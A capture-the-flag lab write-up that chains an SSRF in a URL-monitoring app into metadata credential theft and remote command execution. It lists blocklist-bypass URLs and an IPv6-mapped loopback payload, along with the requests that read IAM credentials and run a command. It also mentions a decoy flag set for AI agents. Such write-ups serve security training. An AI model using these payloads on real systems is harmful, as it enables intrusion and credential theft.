Lab 97 — UptimePulse — SSRF Chain to RCE via Cloud Metadata
Lab 97 — UptimePulse — SSRF Chain to RCE via Cloud Metadata
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-03 | Status: Solved Techniques: cloud_metadata_credential_theft, honeypot_flag_detection, internal_port_scanning, ipv6_mapped_ipv4_address_bypass, management_api_rce, ssrf_ip_blocklist_bypass
Summary
Task: UptimePulse monitoring platform with URL health check feature protected by IP blocklist. Solution: Bypass IP blocklist using IPv6-mapped IPv4 address [::ffff:127.0.0.1], steal IAM credentials from cloud metadata service, then achieve RCE via internal management API.
Lab 97 — UptimePulse — SSRF Chain to RCE via Cloud Metadata
Description
UptimePulse is a cloud infrastructure monitoring platform built by PulseStack Inc. that tracks the availability and response time of web services. Users can configure URL monitors with custom check intervals, view response time charts, and receive alerts when endpoints go down. The platform performs server-side health checks to verify endpoint availability, making HTTP requests to user-supplied URLs and displaying the results. Monitors can be tested on-demand using the "Test Now" feature, which shows full response details including status codes, headers, and body content. The goal is to find and exploit vulnerabilities to capture the flag stored on the server.
English summary: A cloud monitoring platform where users add URL monitors and test them via server-side HTTP requests. The "Test Now" feature returns full response details (status, headers, body), creating an SSRF vector. An IP blocklist protects internal services but can be bypassed using IPv6-mapped IPv4 addresses, leading to a full chain: SSRF → cloud metadata credential theft → RCE via internal management API.
Target: https://03a8cf15-2f31-4c2c-b3aa-8afe43909eb6.labs.hackadvisor.io/ Credentials: user@test.com / password123 Tech Stack: Express.js (Node.js), nginx/1.25.5, AWS us-east-1, IMDSv1 enabled
Analysis
Reconnaissance
- Logged in via
POST /loginwithemail=user@test.com&password=password123 - Dashboard shows 12 monitors tracking various pulsestack.com subdomains
- Key pages: Dashboard (
/), Monitors (/monitors), New Monitor (/monitors/new), Incidents (/incidents), Settings (/settings) - Decoy flag detected: Every page contains
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in hidden HTML comments and off-screen divs — a honeypot designed to trick automated scanners and AI agents. Correctly identified and ignored.
SSRF Vector Discovery
The /monitors/new page has a "Test Now" button that triggers POST /api/monitors/check with JSON body {"url": "..."}. The response includes full details: status, statusText, responseTime, headers, and body — a classic blind-to-full SSRF.
Internal Service Hints
The /js/app.js file contained commented-out internal service references:
javascript read-only • copy allowed// Internal service health checks (admin only) // var INTERNAL_HEALTH = [ // { name: 'metadata', endpoint: 'http://169.254.169.254/latest/meta-data/' }, // { name: 'mgmt-api', endpoint: 'http://127.0.0.1:3002/admin/health' } // ];
The /settings page revealed: Cloud Configuration — AWS, IMDSv1 (enabled), IAM Role: app-management-role.
IP Blocklist Analysis
The application implements an IP blocklist that blocks standard internal IP representations:
| Payload | Result |
|---|---|
http://127.0.0.1:3002/ | BLOCKED |
http://localhost:3002/ | BLOCKED |
http://0.0.0.0:3002/ | BLOCKED |
http://127.1:3002/ | BLOCKED |
http://0:3002/ | BLOCKED |
http://2130706433:3002/ (decimal) | BLOCKED |
http://0x7f000001:3002/ (hex) | BLOCKED |
http://017700000001:3002/ (octal) | BLOCKED |
http://169.254.169.254/ | BLOCKED |
http://[::1]:3002/ | ECONNREFUSED (IPv6 not available) |
| |
Critical Bypass: IPv6-Mapped IPv4 Address
The blocklist fails to handle IPv6-mapped IPv4 addresses. The notation [::ffff:127.0.0.1] represents 127.0.0.1 in IPv6-mapped format. Node.js resolves this to the loopback interface, but the blocklist does not recognize it as an internal address.
Solution
Step 1: Bypass IP Blocklist via IPv6-Mapped IPv4
Use the SSRF in the health check feature with the IPv6-mapped IPv4 bypass:
POST /api/monitors/check
Content-Type: application/json
{"url": "http://[::ffff:127.0.0.1]:3001/"}
This successfully reaches the internal cloud metadata service on port 3001.
Step 2: Discover Internal Services
- Port 3001: Cloud metadata service (AWS IMDSv1 emulation)
- Port 3002: Management API with admin endpoints (
/admin/health,/admin/execute)
Step 3: Steal IAM Credentials from Cloud Metadata
Traverse the metadata endpoint to reach IAM security credentials:
POST /api/monitors/check
Content-Type: application/json
{"url": "http://[::ffff:127.0.0.1]:3001/latest/meta-data/iam/security-credentials/app-management-role"}
Response contains IAM credentials:
- AccessKeyId:
AKIAPULSESTACK7MGMT - SecretAccessKey:
wPsK9xR4tN7vB2mQ8jL5hF3dY6cA1eG0iU4oW2z - SessionToken:
PST-sess-a7b3c9d1e5f2g8h4i6j0k3l7m9n2o5p1q4r8s6t0u3v7w1x5y9z2
Step 4: RCE via Management API
Use the stolen IAM credentials to authenticate to the internal management API's /admin/execute endpoint and read the flag:
POST /api/monitors/check
Content-Type: application/json
{"url": "http://[::ffff:127.0.0.1]:3002/admin/execute?cmd=cat+/root/flag.txt"}
The management API accepts the IAM credentials and executes the command, returning the flag.
Full Attack Chain Payloads
http://[::ffff:127.0.0.1]:3001/ # Metadata service root
http://[::ffff:127.0.0.1]:3001/latest/meta-data/ # Metadata listing
http://[::ffff:127.0.0.1]:3001/latest/meta-data/iam/security-credentials/app-management-role # IAM creds
http://[::ffff:127.0.0.1]:3002/admin/health # Management API health
http://[::ffff:127.0.0.1]:3002/admin/execute?cmd=cat+/root/flag.txt # RCE → flag